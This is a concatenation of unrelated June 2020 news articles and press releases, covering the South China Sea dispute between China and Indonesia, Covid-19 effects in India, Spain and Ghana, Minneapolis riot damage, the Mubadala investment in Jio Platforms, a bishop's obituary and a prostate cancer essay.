The Chinese government, in a letter to U.N. Secretary-General Antonio Guterres on Tuesday, acknowledged it had no territorial dispute with Indonesia but said the two countries had overlapping claims over maritime rights in parts of the South China Sea.



Beijings letter was in response to a diplomatic note sent by the Indonesian government to the U.N. chief on May 26, in which Jakarta rejected Chinas Nine-Dash Line map or claim of historical rights to nearly all of the contested waterway.



Based on UNCLOS 1982 Indonesia does not have overlapping claims with the PRC, so it is not relevant to hold any dialogue on maritime boundary delimitation, Damos Dumoli Agusman, the director general of international law and treaties at Indonesias Ministry of Foreign Affairs, told BenarNews, an RFA-affiliated online news service, on Friday.



He was referring to a January 2020 statement from the ministry confirming that Indonesia had no territorial dispute with Beijing in the South China Sea based on the 1982 United Nations Convention on the Law of the Sea (UNCLOS).



It was stated that we reject (any negotiation), Damos said.



In its letter to the U.N. this week, China argued that its maritime rights and interests in the South China Sea were established in the long course of historical practice and consistent with international law, including UNCLOS.



There is no territorial dispute between China and Indonesia in the South China Sea. However, China and Indonesia have overlapping claims on maritime rights and interests in some parts of the South China Sea, Chinas permanent mission to the United Nations said in the letter, a copy of which was posted on the missions website.



China is willing to settle the overlapping claims through negotiation and consultation with Indonesia, and work together with Indonesia to maintain peace and stability in the South China Sea, the letter said.



Indonesia has insisted that Chinas claims are unilateral and have no legal basis in international law.



No international legal basis



In the letter sent to Guterres last week, Indonesia spelled out the Indonesian governments support for a 2016 ruling by the Permanent Court of Arbitration in The Hague, when the court sided with the Philippines in a case that Manila brought against Beijing over a territorial dispute in the South China Sea.



Indonesia reiterates that the Nine-Dash line map implying historic rights claim clearly lacks international legal basis and is tantamount to upset UNCLOS 1982, said the letter from Indonesias Permanent Mission to the United Nations, referring to a boundary on Chinese maps that encompasses Beijings claims in the maritime region.



A spokesman for the Indonesian Ministry of Foreign Affairs said Jakarta used the letter to indicate that Chinas Nine-Dash Line had crossed boundaries set by Indonesias exclusive economic zone (EEZ).



We never know what Chinas intentions are in establishing a Nine-Dash Line. It may have the potential to create conditions that disrupt what was determined by Indonesia from a long time ago, ministry spokesman Teuku Faizasyah told BenarNews on May 29. Therefore, we need to inform these matters by communicating our position openly to the international community.



The Indonesian letter was the latest in a flurry of documents from members of the Association of Southeast Asian Nations (ASEAN) and China following a Malaysian submission to the U.N. in December 2019. The Malaysian government claimed sovereignty over an extended continental shelf in the South China Sea off its northern coast, potentially an area with significant undersea resources.



On Thursday, Indonesian Foreign Minister Retno Marsudi reiterated her countrys stance on the issue.



In a diplomatic memorandum sent on 26 May 2020, Indonesia reaffirmed its consistent position in responding to Chinas claim to the U.N. that could affect Indonesias EEZ (exclusive economic zone) and also emphasize the need for full compliance with UNCLOS 1982, Retno told reporters during a virtual press conference.



Not an apples-to-apples thing



Meanwhile, an international maritime law researcher at the University of Gadjah Mada (UGM), I Made Andi Arsana, described Chinas offer for negotiation as illogical.



Indonesias claim is based on international law while Chinas claim is unilateral. Its not an apples-to-apples thing, Arsana told BenarNews, adding that Indonesia should not and would not agree to bilateral talks or negotiations on the issue.



Hikmahanto Juwana, an international relations professor at the University of Indonesia, said the Chinese response was consistent with its playbook.



Indonesia should never allow itself to be lured into negotiating. So far, Indonesia has consistently refused and will never want to negotiate with China, he said.



The Philippines, Malaysia, Brunei, and Vietnam  all ASEAN members  are among countries that, along with China and Taiwan, have competing claims in the South China Sea.



Indonesia is not among the claimant countries, but in early 2020 and in 2016, tensions flared between Jakarta and Beijing over the presence of Chinese fishing boats swarming in South China Sea waters near Indonesias Natuna Islands.

In 2002, the 10-nation ASEAN bloc and China agreed on a Declaration of Conduct, which was a statement of principles on how parties should behave in the South China Sea. But completing a more detailed  and binding  Code of Conduct (CoC) has proved much harder to establish.



Negotiations began in earnest in 2016 with a tentative deadline for acceptance in 2021. A draft of the text of the agreement has been released.



Reported by BenarNews, an RFA-affiliated online news service.
Uttarakhand Chief Minister Trivendra Singh Rawat has tested negative for Covid-19, days after he went into self-quarantine following a meeting with the state tourism minister who had contracted the virus.

Official sources said on Friday that the chief minister's test reports confirm that he is not infected with the virus.

The chief minister and his three cabinet colleagues had gone into self-quarantine immediately after state tourism minister Satpal Maharaj, his wife and five other members of their family tested positive for the disease last week.

Rawat had chaired a meeting of the state cabinet on Friday last which was attended by Maharaj.

However, state health secretary Amit Negi had clarified that the ministers and officials, who had attended the cabinet meeting, were low-risk contacts of Maharaj and did not need to be quarantined.

Still Rawat and his three cabinet colleagues remained in self-quarantine.

The other three ministers including Subodh Uniyal, Harak Singh Rawat and Madan Kaushik came out of quarantine and resumed their normal duties on Thursday.
The Global Media Alliance (GMA), is set to hold the second edition of the GMA Webinar Series on June 12 to discuss the impact of COVID-19 on the events and hospitality industries.



In a statement from the GMA, market leader in Integrated Marketing Communications, copied to the Ghana News Agency, in Accra said positive feedback from the first webinar necessitated the organization of the second edition.



The statement said: We are all aware of the effects of COVID-19 on various industries and in this edition we would like to pay particular attention to the events and hospitality industries to assess the impact of the pandemic on their work and identify the way forward.



The Global Media Alliance webinar series is partnered by e.tv Ghana, Happy FM, YFM and Perception Management International.

Source: GNA









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Dundalk resident Treasa Rushe-Carroll is embarking on a sponsored walk in memory of her daughter Catherines second birthday later this month, with all proceeds going to the Ronald McDonald House charity.A native of Termonfeckin but living with her husband Stephen in Dundalk, Treasa will complete a 14km sponsored walk - in honour of Catherines birthday on June 14 - and has so far raised just over 2,000 for the charity they hold close to their hearts.



Treasa took ill in June of 2018 while 24 weeks pregnant, and Catherine was delivered by emergency cesarian section at Lourdes Hospital. The hospital caters for premature babies from 32 weeks old and as such, Catherine was immediately transferred to the Coombe Hospital in Dublin before Treasa even had the opportunity to meet her daughter.At two weeks old, Catherine developed necrotizing enterocolitis, or NEC, which is a serious disease that affects the intestines of premature infants.



In the nine weeks that Catherine lived, Treasa and Stephen were told to say goodbye to their daughter on five separate occasions. Remarkably, warrior princess Catherine as she is fondly referred to, miraculously pulled through each time. Doctors believed that surgery may help little Catherine and she was transferred to Crumlin Childrens Hospital.During their time in Dublin, Treasa and Stephen had been sleeping on floors and couches before renting short-term accommodation. Once Catherine was transferred to Crumlin, the couple stayed in the hospitals parent accommodation for a week before the Ronald McDonald House came to their rescue.



The Ronald McDonald House transformed everything for us, explained Treasa. All of a sudden we were just a five minute walk from her at all times, which was absolutely wonderful and a great sense of relief for us during such a tough time.



We were able to have some semblance of like a routine and we were not worrying about where we were going to stay and not worry about meals as they were all provided. It took such a weight off of us, said Treasa.



While at Crumlin Hospital, Catherine had four surgeries but sadly passed away on August 17, 2018. Not before over a dozen of her aunts, uncles and nephews got a chance to meet her, though. For Treasas birthday last year, she ran a Facebook fundraiser which raised 2,000 for the Ronald McDonald House. Last week, she saw that the charity are facing a massive deficit of 500,000 as they had to cancel almost of all of their fundraisers due to Covid-19.



Unfortunately, Covid-19 hasn't stopped children being ill. There's still babies and families who need to stay there as we did. The Ronald McDonald House is more important than ever, so basically I saw the deficit and I decided Id do a sponsored walk and I chose 14km because Catherines birthday is June 14.



Some friends of mine have offered to do kind of a relay, and my husband and nephew are going to do part of it with me too. They're all going to join me along the way. So if anyone can support me with even a euro or two, I'd be so grateful, finished Catherine.



Treasa has launched a Facebook fundraiser HERE and a GoFundMe page:

and https://gf.me/u/x7a8fb
Minneapolis mayor Jacob Frey will seek state and federal aid to rebuild city structures following over a week of looting and rioting, the Minneapolis Star Tribune reported Friday.

Some 220 buildings have been damaged and require at least $55 million in repairs, the citys Community Planning & Economic Development department said earlier this week, noting that the city was not yet ready to produce a credible estimate. City Council members warned that the costs will likely be far higher, while Mayor Frey said damages could reach into the hundreds of millions.

We will do everything we can as we shift to recovery mode, Frey told the Tribune. Were recovering from crises sandwiched on top of each other, from COVID-19 to the police killing and then the looting which took place afterward.

Governor Tim Walz said he was working with Representatives Ilhan Omar and Betty McCollum, whose districts cover the twin cities of Minneapolis and St. Paul, as well as Senators Amy Klobuchar and Tina Smith, on obtaining aid from the Federal Emergency Management Association.

To be realistic, the odds of that happening are, at best, very difficult, McCollum said. If it is demonstrated [that] outside provocateurs committed acts of destruction then there is a clear rationale for an emergency declaration by President Trump.

After the 2015 Freddie Gray riots in 2015, FEMA denied Maryland governor Larry Hogans request for $19 million in aid.

Minneapolis was rocked by civil unrest after George Floyd, an African-American man, was killed during his arrest by city police officers. The killing resulted in mass demonstrations against police racism and violence, but spiraled into looting and rioting during which the offending officers precinct building was burned down and local businesses were ransacked.

More from National Review
LONDON, June 5, 2020 /PRNewswire/ --

40% of businesses are currently facing over 10,000 in unpaid invoices [1]

Solvency a concern for small businesses as 1 in 4 worry they won't survive into 2021

UK faces a trade credit crunch as customers seek longer payment terms and suppliers look to cut them, while the sector deals with backlog of unpaid invoices

This comes as iwoca launch ' iwocaPay ' to give confidence back to businesses grappling with the fall out of the pandemic

The coronavirus pandemic is creating a trade credit crunch as many businesses face considerable unpaid invoices leading as many as 1 in 4 to doubt they will survive into 2021, according to a new report released by iwoca.

The research, published in Levelling the 'paying' field , by one of Europe's largest small business lenders, explores how payment terms were managed pre and post-pandemic and sets out a series of recommendations which policymakers and small businesses should prioritise in the months ahead.

As non-essential shops open next week, the mounting pressures on small businesses are leading as many as a third of owners (who offered payment terms) to consider reducing or not offering trade credit in the future as they try to minimize their exposure to unpaid invoices[2]. A fall in access to trade credit, which according to the SME Finance Monitor over a third (37%) of businesses use, could have significant consequences for small businesses who rely on it and the wider sector[3].

The findings come as iwoca also launches a new product that will help businesses navigate the crisis - iwocaPay . The tool can take the risk out of payment terms and give confidence back to businesses offering trade credit. iwocaPay gives customers a choice over when they make repayments, allowing them to choose payment terms of up to 90 days. At the same time, suppliers will be paid immediately through iwoca. Addressing the needs of both business customers and suppliers will help improve cash flow and give greater confidence to small businesses as they return to work in the coming weeks and months.

The main elements creating the trade credit crunch include:

The proportion of SME owners that owe large payments to their suppliers has nearly doubled. iwoca small business customers reported that their amounts owed to suppliers has risen since the coronavirus hit. 6.3% reported owing between 20,000 - 50,000 - almost double the proportion from last year (3.7%). A further fifth of small businesses in this survey reported that they currently owe their suppliers between 1000- 4999 - up from 13.8% at the same point in 2019.

At the same time businesses are asking for longer payment terms from suppliers. With the coronavirus taking its toll on sales, small businesses appear to be trying to hold off on making payments to protect their liquidity. iwoca's research found that in the past 30 days, two fifths of respondents (41%) asked their suppliers to extend payment terms to give them more time to complete a payment. By comparison, in the year leading up to the outbreak of coronavirus, only one quarter (27%) had requested longer payment terms.

But naturally as suppliers haven't been paid and are being owed almost twice the amount already, they are demanding payment up front or shorter payment terms. As a result of the challenges caused by the pandemic, one third of small business suppliers (34%) said they are more likely to either ask for immediate payment or shorten their payment terms in future. This could result in a trade credit crunch, as suppliers demand earlier payments from small businesses who increasingly require longer payment terms.

Christoph Rieche, co-founder and CEO of iwoca said: "What's emerging is a concerning game of 'tug of war' between small businesses as they look to survive and plan for the future. Buyers can't pay their invoices because they don't have the revenues and sellers are being asked to provide longer payment terms to ease the strain whilst already sitting on a growing backlog of unpaid invoices.

"Coronavirus can and should help trigger a step-change for small businesses to become more efficient, productive and resilient. We believe the first and most obvious change is to make payment terms fairer between suppliers and customers."

Mike Luxford, founder of MLCS , a cloud-based internet phone system provider (VoIP) added: "The first thing I thought when this all started [the pandemic] was, we won't get paid. When you're a small business, that's when the issues start. And it's a knock on effect - if I'm not getting paid, it clogs up my credit accounts which means I can't take on more contracts. I try to have some savings around so it's not literally hand-to-mouth because if a silly little payment trips you up, you lose all your credibility. For that reason, if someone wants extended terms or huge amounts of credit for no reason, I tend to walk away. Otherwise it becomes a daft juggling game."

FULL REPORT: Levelling the 'paying' field - Why fairer payment terms can kickstart the SME coronavirus recovery.

40% of businesses facing 10,000 in unpaid invoices refers to B2B only A total of 537 small businesses were surveyed between 27/4/20 - 14/5/20 SME Finance Monitor Q4 2019 - March 2020

About iwoca
When my father was diagnosed with prostate cancer in 1999, he was given six months to live. At 58-years-old, he had been having symptoms for over a year but refused to see a doctor. He didnt want to talk about it. Finally, and without his approval, my mother confided in me that my dad was soaking in a warm hot tub to relieve himself. My sisters and I forced the conversation and made him see a urologist.

Unfortunately, because he refused to talk about his symptoms in the early stages, cancer had already spread, leaving few treatment options. He lived 5 years past the expected date and passed away two weeks after our son was born.

Flash forward to 2011 when the doctor informed my 53-year-old husband (a retired Marine Corps officer) that his Prostate-Specific Antigen (PSA) was rapidly climbing and a biopsy was needed. You can imagine my response to his, I dont want to talk about it attitude. Not on my watch, buddy  were talking, planning and getting ahead of this cancer. After a rectal exam, the urologist performed the biopsy (my husband jokingly asked if they were using a 1950s cap gun) and confirmed our fear  prostate cancer.

Honestly, the treatment options doctors and nurse navigators presented for prostate cancer (which is the second most common cancer in men worldwide), in my opinion, were and still are, inadequate. My concern is that, because most men hesitate to talk about prostate health, the pursuit for treatment advancement is not as robust as it would be for women. If we informed women that most of the options for a specific cancer treatment could cripple their ego and self-esteem, destroy their sense of womanhood and possibly lead to a lifetime of bladder leakage and the inability to have sex, we would take to the streets and demand that science do better for us. We would need to talk about it.

The extent of the disease, grade of cancer, and PSA level are a few of the most important factors to consider when selecting the initial treatment. Comparing outcomes of the different treatment options, potential complications for each option and the age and general health of the man also play a considerable role in which remedy to choose. Possibilities can range from wait-and-watch to radiation to removal of the prostate gland (radical prostatectomy), or some combination of these choices.

Heres your golden nugget: talk about it. Speak up to your doctor about your symptoms. In medicine, we use the term shared decision making  this means that you, your doctor and your partner discuss all of the treatment options, the side effects to each option, and plans to deal with any side effects (because there are GREAT options for impotence and incontinence).

My husband is now the poster child for speaking up about prostate health, treatment options, and considerations for side effects to anyone willing to listen. While its a personal decision for each man, it should not be private. Speak up  were listening.

Catherine Burger, BSN, MSOL, RN, NEA-BC is the Media & Brand Specialist for RegisteredNursing.org
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Linkedin Josa Lukman (The Jakarta Post) Jakarta  Sat, June 6 2020

Seeking work abroad to make one's fortune may be a dream that many can relate to, but for migrant workers clinging tightly to their passports, the fruits of this dream are not just theirs and theirs alone.

Domestic work, which includes live-in caregiving, is an occupation that provides a vital service in the daily lives of many, but the workers who fill these roles are often overlooked.

While working for a family in the nation's capital of Jakarta is a common goal, many young women are also drawn to work overseas for its many benefits, not least of which is a bigger paycheck.

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Rosaura Duran said this about her book: " Calvarios de Dona Isa first flower cultivated with the best fertilizers without predicting the coming ordeal. As the legend of the French king Louis XIV says, disguised as fragility and weakness, vulnerable, adopting different personalities, Hortensia arrived at the life of Isa, manipulating her surroundings, causing a real ordeal. Isa is an agent of the zodiac sign Cancer, with its emotional highs and lows. With deep ideas of fraternity, integrity, and family union, she had to use her claws and shell like the crab, allowing her to survive. The important events of her life, from birth to her burial, were chronologically very well planned. Precisely on stormy Saturdays with intervals of time carried out his events."

Published by Page Publishing, Rosaura Duran's new book Calvarios de Dona Isa will show the readers the extraordinary strength and resilience of women during times of toil that defines their character and purpose.

Consumers who wish to be intrigued by moments of the author's life can purchase Calvarios de Dona Isa in any bookstore, or online at Apple iTunes, Amazon.com, Google Play, or Barnes and Noble.

For additional information or inquiries, you can contact Page Publishing, through the following number: 866-315-2708.

About Page Publishing:

Page Publishing is a traditional full-service publishing house that handles all of the intricacies involved in publishing its authors' books, including distribution in the world's largest retail outlets and royalty generation. Page Publishing knows that authors need to be free to create, not bogged down with complicated business issues like eBook conversion, establishing wholesale accounts, insurance, shipping, taxes, and the like. Its roster of authors can leave behind these tedious, complex, and time-consuming issues and focus on their passion: writing and creating. Learn more at www.pagepublishing.com.

Photo - https://mma.prnewswire.com/media/1176871/Rosaura_Duran.jpg

SOURCE Page Publishing

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KALAMAZOO, MI  When he stepped down from official duties, the Most Rev. James A. Murray said he hoped to be remembered for his dedication to strengthening unity in the Roman Catholic Diocese of Kalamazoo.

The dioceses bishop emeritus, who learned to speak Spanish to better serve the Hispanic population, had strived to unite those  including priests  who had differing ideologies.

They are valid, but they are different, Murray told MLive/Kalamazoo Gazette in 2009. You want to get people to say, You can have yours and I can have mine, but we must be united on the essentials.

The faithful are now left to mourn Murray, whose death was announced by the Diocese of Kalamazoo on Friday, June 5, one month before his 88th birthday.

It is with profound sadness that I share the news of the passing of our beloved Bishop Murray, Most Rev. Paul J. Bradley, bishop of the Diocese of Kalamazoo, said in a prepared statement.

Murray would have celebrated the 60th anniversary of his ordination to the priesthood on Sunday, June 7.

I was grateful to be able to visit him yesterday and relay how grateful we all are to him for his leadership as the third bishop of the Diocese of Kalamazoo, and since his retirement, for his wonderful priestly example of providing pastoral assistance wherever and whenever he could, and for being such an exemplary priest and bishop of Jesus Christ, Bradley said.

Murray served as a priest in the Diocese of Lansing for nearly 40 years, until 1998 when he became the third bishop of Kalamazoo.

He expressed to MLive his gratitude for the privilege of serving the 100,000 Catholics in the diocese. He wanted to be remembered for strengthening unity and encouraging the growth of priests  he ordained 15 during his tenure.

And he expressed gratitude for the opportunity to meet his hero, Pope John Paul II, who named him honorary prelate  monsignor  in 1993.

"I have met personally with and celebrated liturgy with Pope John Paul II, who is one of my heroes, Murray said. While I've never met personally with Pope Benedict, I have celebrated liturgy with him and been at events where he's been present and has spoken. Any of that would have been unthinkable prior to becoming a bishop.

Related: Departing bishop sees a more united diocese

Murray was born in Jackson, and was the only person from there to be ordained a Catholic bishop for the Catholic Church. He was a graduate of St. Mary Elementary School and St. Mary High School; his home parish was Our Lady Star of the Sea. He received a bachelors degree from Sacred Heart Seminary in Detroit.

He served as assistant pastor of St. Joseph Church in St. Joseph and St. Mary Cathedral and the St. Therese and St. Gerard parishes in Lansing.

He became rector of St. Mary Cathedral in 1978, served as chancellor of the Diocese of Lansing from 1968-97 and as chaplain of the Lansing Police Department from 1972-97.

While he was bishop of Kalamazoo, Murray confirmed 14,394 young Catholics, welcomed 3,100 new Catholics through the Rite of Christian Initiative for Adults, and dedicated 11 new churches.

Murrays nephew, Timothy Murray, said his uncle had a "wicked sense of humor.

He was proud of his Irish heritage and young and people of all ages loved being around him," Timothy Murray said. "In his younger days, he loved sailing and was a lifelong Notre Dame and Detroit Tigers fan. I will miss him as much as I do my own parents.

A funeral mass for Murray will be held at St. Augustine Cathedral, 545 W. Michigan Ave in Kalamazoo. A memorial mass will be held later, when coronavirus restrictions are lifted. Final details are pending.

As I go out of this role as a bishop, Im grateful not only to God and God primarily, but grateful to so many others, Murray told MLive when he stepped down from active duties. Our priests, our religious, our laypeople, the people who work here in the chancery -- you couldnt ask for better.

Also on MLive:

U.S. unemployment drops to 13.3%  still on par with Great Depression

Am I still going to get the full experience? Students facing uncertainty at Michigans small colleges

Michigan police chief on leave, asks forgiveness for tweets calling protesters barbarians
Shenandoah, IA (51601)

Today

Mostly sunny this morning then becoming cloudy during the afternoon. High near 25F. Winds S at 10 to 20 mph..

Tonight

Cloudy skies early, then partly cloudy after midnight. Low near 20F. Winds SW at 5 to 10 mph.
WASHINGTON  Muriel Bowser, the mayor of Washington, has had few options this week to hold back the overwhelming show of federal force in her city: the national guardsmen from outside D.C. whom she did not request, the Bureau of Prisons and Border Patrol officers the city rarely works with, the troops in unmarked uniforms who have upset residents.

Attorney General William P. Barr has directed all of this, making the nations capital the primary stage for President Trumps vow to dominate the streets to quell protests. He has given Mr. Trump frequent updates since Monday on the efforts to restore order, a senior official said. Federal officials have not asked for consent, or even previewed many of their plans with local officials, who have at times also been unsure who is wielding riot gear on the citys streets.

The District claimed a victory on Thursday as federal troops retreated from streets around the White House. But for many D.C. residents, this moment has made their longtime predicament all the more painful: They have no governor to turn to, no senators of their own who can go toe-to-toe with an attorney general. They have no power in the Capitol building, after decades of failed campaigns for statehood.

People have to understand the root cause and be willing to do something about the root cause, Ms. Bowser said at a news conference on Thursday. The city will continue to have limited control over what happens on its streets without statehood, she said.
The deals underline the status of Jio Platforms as a tech powerhouse and its ability to dominate Indias booming digital economy.

Reliance Industries Limited and Jio Platforms Limited announced on Friday that Mubadala Investment Company, the Abu Dhabi-based sovereign investor, will invest Rs 9,093.60 crore in Jio Platforms at an equity value of Rs 4.91 lakh crore and an enterprise value of Rs 5.16 lakh crore.

Mubadalas investment will translate into a 1.85 percent equity stake in Jio Platforms on a fully diluted basis, a release from Reliance Industries Limited said.

Mubadala Investment Company manages about $229 billion in assets, and with its investment, which is sixth in a row in six weeks for six different foreign firms to invest in Indias leading digital services platform, takes the total amount raised by Jio to an eye-popping Rs 87,655.35 crore, according to a statement by RIL.

Jio Platforms, which runs movie, news and music apps as well as the telecom enterprise Jio Infocomm, has now sold a combined stake of 18.97 percent in six massive fundraising deals.

The series of deals was led by Facebook Inc, which invested Rs 43,574 crore to buy 9.99 percent on 22 April. Since then, General Atlantic, Silver Lake, Vista Equity Partners and KKR together spent Rs 78,562 crore on Jio.

Mukesh Ambani, chairman and managing director of Reliance Industries (RIL), said he was delighted that Mubadala, one of the most astute and transformational global growth investors, has decided to partner his company in its journey to propel Indias digital growth towards becoming a leading digital nation in the world.

Through my longstanding ties with Abu Dhabi, I have personally seen the impact of Mubadalas work in diversifying and globally connecting the UAEs knowledge-based economy. We look forward to benefitting from Mubadalas experience and insights from supporting growth journeys across the world, Ambani said in a statement.

The deals underline the status of Jio Platforms as a tech powerhouse and its ability to dominate Indias booming digital economy. Jio Platforms has made significant investments across its digital ecosystem, powered by leading technologies spanning broadband connectivity, smart devices, cloud and edge computing, big data analytics, artificial intelligence, Internet of Things, augmented and mixed reality and blockchain.

Jio Infocomm is Indias biggest telecom player, amassing more than 388 million subscribers since its launch in late 2016.

Khaldoon Al Mubarak, managing director and group CEO, Mubadala Investment Company, said his company is committed to investing in, and actively working with, high-growth companies that are pioneering technologies to address critical challenges and unlock new opportunities.

We have seen how Jio has already transformed communications and connectivity in India, and as an investor and partner, we are committed to supporting India's digital growth journey. With Jios network of investors and partners, we believe that the platform company will further the development of the digital economy," the release said.

Mubadala is billed as the second-biggest state investor after Abu Dhabi Investment Authority. It has more than 50 businesses and investments in more than 50 countries.

Mubadala typically makes investments in enterprises that create lasting value and positive economic and social impact in communities at home and overseas, according to its website. Its portfolio companies are spread in sectors such as aerospace, agribusiness, ICT, semiconductors, metals and mining, pharmaceutical and medical technology, renewable energy and utilities. It also manages diverse financial holdings.

The transaction is subject to regulatory and other customary approvals.

Morgan Stanley acted as financial advisor to Reliance Industries and AZB & Partners, and Davis Polk & Wardwell acted as legal counsel.

Disclaimer: Reliance Industries Ltd. is the sole beneficiary of Independent Media Trust which controls Network18 Media & Investments Ltd which publishes Firstpost.
Slated for completion in March this year, the flyover projects in Shastri Park and Seelampur would have put an end to the traffic woes of lakhs of people living in the trans-Yamuna area.

But the wait for seamless connectivity between northeast and east Delhithe two projects, worth 303 crore in total, are part of the Delhi governments plan to decongest east Delhihas now become longer.

While traffic is back on GT Road, on which the two projects are planned, work on the sites is moving at a snails pace. According to the Delhi governments Public Works Department (PWD) officials, the number of workers at both the sites has dropped from 300 to just 100-120 since the lockdown was announced in March to curb the spread of the coronavirus disease (Covid-19).

Residents of northeast Delhi, who were eagerly awaiting the inauguration of these flyovers, are disappointed. Aftab Ahmad, a resident of Jafrabad, said, The stretch is riddled with bottlenecks and traffic jams are routine. The projects have constantly been getting delayed for one reason or anotherbe it riots or lockdown, Ahmad said.

All major infrastructure projects in Delhi are in the same boat. Reverse migration and the uncertainty over the migrants return has adversely impacted the timeline of infrastructure projects, such as India Trade Promotion Organisations (ITPO) Pragati Maidan redevelopment project, the Delhi Metro Rail Corporations Phase-4 project, the Barapullah Phase-3 project, etc.

Despite the Delhi government allowing construction work to resume in May, the agencies involved are struggling to get labour.

With just 10-15% work remaining at the two flyovers, PWD officials said they were trying to arrange additional labourers and hoped to complete the work by July this year, the new deadline for the projects. This project is a priority for the Delhi government. The pace is slow because of the shortage of labour, a PWD official said, requesting anonymity.

According to officials of the Delhi government, the exact number of migrants who have left the city is unknown as many walked and cycled back to their home states during the initial days of the lockdown. A total of 450,000 migrants had applied on the governments portal to be sent back home. The Delhi government sent 310,000 of them back home to 16 states in 237 special trains. Of the remaining workers, some decided to stay back when lockdown norms were eased, and the government is making efforts to send the others back home via buses.

According to various government agencies, most construction workers in Delhi belong to Uttar Pradesh, Bihar, Rajasthan, Jharkhand. Government agencies involved in five major infrastructure projects in Delhi said that the strength of this workforce has dropped by 50-75%, resulting in delays.

At the Pragati Maidan redevelopment site, the number of workers has dropped from 3,800 to 350-400 since the outbreak of the Covid-19 pandemic, LC Goyal, chairman and managing director, ITPO, said. We are making all efforts to re-mobilise labour so that construction work can start while ensuring social distancing and other norms at the site. We are revising the timelines, he said. The 2,700 crore project was slated for completion in March 2021.

A major part of the ITPO redevelopment project is the 777 crore traffic regulation project, which is being carried out by the Delhi PWD. The construction of a 1.2-km-long tunnel between Purana Qila Road (near Pragati Maidan Mathura Road) and the Ring Road (near Pragati Power Station), and the construction of six underground U-turns on Mathura Road and Bhairon Marg are part of the project.

Once the project is complete, motorists travelling from Noida, Ghaziabad and south and east Delhi will have signal-free access to India Gate and Mathura Road, and vice versa.

The tunnel, PWD officials said, was to be completed by June this year. Earlier, there were nearly 600 labourers engaged in construction work, but now there are only 320. It is certain that the June deadline will be extended by a few months as around 30% of the work is still pending, one of the officials said, requesting anonymity.

But this is not the first time that construction work has stalled for a considerable duration in the city. Work was affected in November last year when construction activity was banned because of a rise in the pollution levels.

We could work during the day in December, but the government lifted the ban on construction activity at night only in February this year. This adversely impacted the pace of construction work. There was a similar situation in 2018-19 when work had to be stopped during the peak pollution season, Goyal said.

The biggest challenge that construction firms and contractors are facing is getting labour back. Shapoorji Pallonji E&C, which is involved in several construction projects in the National Capital Region (including ITPOs Pragati Maidan), said that before the lockdown on March 25, they employed 10,000 construction workers across the Delhi-NCR.

Depending on the volume of work, the number of workers at each project site ranged from 150 to nearly 4,000. Currently, we are left with only 15% to 20% of the original workforce strength, a spokesperson of Shapoorji Pallonji E&C said.

At all major infrastructure project sites, construction firms are making arrangements for labourers boarding and lodging. Although organised players like us were taking care of these workers by providing them with wages, rations and medical facilities both before and during the lockdown, there was growing anxiety among the workers with news of the lockdown getting extended, the spokesperson added.

A labour contractor said, People were getting restless and wanted to go back. A total of 150 people were working under me before the lockdown at the ITPO site, but just 10-15 of them stayed back. Once the special trains started operating, all the migrant labourers wanted to leave. It is difficult to arrange for labourers now.

The DMRC, which had started construction work on its Phase-4 in December last year after a delay of nearly three years, confirmed that the pace of work had slowed due to the reverse migration of the labour force.

According to officials of DMRC, work had started at the Haiderpur Badli Mor Metro station (part of Janakpuri West-RK Ashram corridor). They had made arrangements there for the workers to stay. Before the lockdown, DMRC employed about 3,500 workers. Presently, the number varies between 1,000 and 1,500. However, we are continuing work with the remaining workforce but the pace of work is suffering. The deadlines will have to be modified accordingly, Anuj Dayal, executive director, corporate communications, DMRC, said.

Government agencies have now asked contractors to make arrangements to mobilise labour. But a sub-contractor working with a government firm, requesting anonymity, said, It is difficult to get labour. We are trying to source it from nearby areas. But due to the border restrictions, it is difficult to meet the demand.

PWD officials said that the contractors have started arranging some labour from nearby areas, but they are mostly unskilled people. At PWDs Barapullah Phase-3 project, which connects Ring Road with the UP Link Road near Mayur Vihar Phase -1, a PWD official said, Earlier nearly 500-600 labourers used to work at the site, depending upon the requirement. But currently, only 300 labourers are available. This has severely reduced the pace of the work, the official said.

With a large percentage of the migrant workforce gone from the Capital, it is difficult to say when it will return, Sachidanand Sinha, a professor at the Centre for the Study of Regional Development at Jawaharlal Nehru University, said.

They will return for sure as there is not much work available in their home states. Moreover, this is a lean period in agricultural activity. People will need money and will return to cities to earn their livelihood, but it is difficult to say how long it will take. If states like UP, Bihar and Rajasthan (from where most migrants are) provide them with more employment under the Mahatma Gandhi National Rural Employment Guarantee Act (MNREGA), then it could delay their return to cities, Sinha said.
A woman sits by the Guadalquivir river in Seville, Andalusia, which will move to Phase 3 on Monday.

The Spanish Health Ministry announced on Friday that it had approved every regions request to move to a new stage of the coronavirus deescalation plan. This means that more than half of the country will be in Phase 3 by Monday, June 8, while Madrid region and the city of Barcelona will be allowed to enter Phase 2.

Update Lastest story

Fifty-two percent of the population will be in Phase 3, said Health Minister Salvador Illa at a government press conference on Friday. We are in the final stage, but we are still in the deescalation process, he added.

The following areas will move to Phase 3: Galicia, Asturias, Cantabria, Basque Country, La Rioja, Navarre, Aragon, Extremadura, Andalusia, Murcia, the Balearic islands of Mallorca, Menorca and Ibiza, and the Canary islands of Tenerife, Gran Canaria, La Palma, Lanzarote and Fuerteventura.

We are in the final stage, but we are still in the deescalation process Health Minister Salvador Illa

Under the deescalation plan, each stage must be in place for a minimum of two weeks before a region can move to the next phase. This rule has been adhered to with the exception of the Andalusian provinces of Malaga and Granada, which have been granted permission to move to Phase 3 with the rest of the region, despite having only been in Phase 2 for a week.

Also moving to Phase 3 are the Catalan healthcare areas of Alt Pirineu i Aran, Terres de lEbre and Camp de Tarragona, and the provinces of Cuenca and Guadalajara in Castilla-La Mancha. With respect to Spains exclave cities in North Africa, Melilla and Ceuta, the former will move to Phase 3, while the latter decided not to request a phase change after detecting an outbreak of coronavirus cases.

Only the Canary Islands of El Hierro, La Gomera and La Graciosa, and the Balearic Island of Formentera, are currently in Phase 3, where they will remain until next week.

A beach restaurant in Barcelona, which will enter Phase 2 on Monday. Enric Fontcuberta (EFE)

Under Phase 3  which is the last step before the new normality  sidewalk cafes can open at 75% capacity, bars can reopen with safe-distancing measures in place, and social gatherings of up to 20 people are allowed.

Most crucially, the central government will let regional authorities take control of the deescalation process and decide how long this final period should last. Given the possibility of some regions deciding to end Phase 3 and enter the new normality before the state of alarm officially ends on June 21, Health Minister Illa said that under Phase 3, regions may decide when the state of alarm ends.

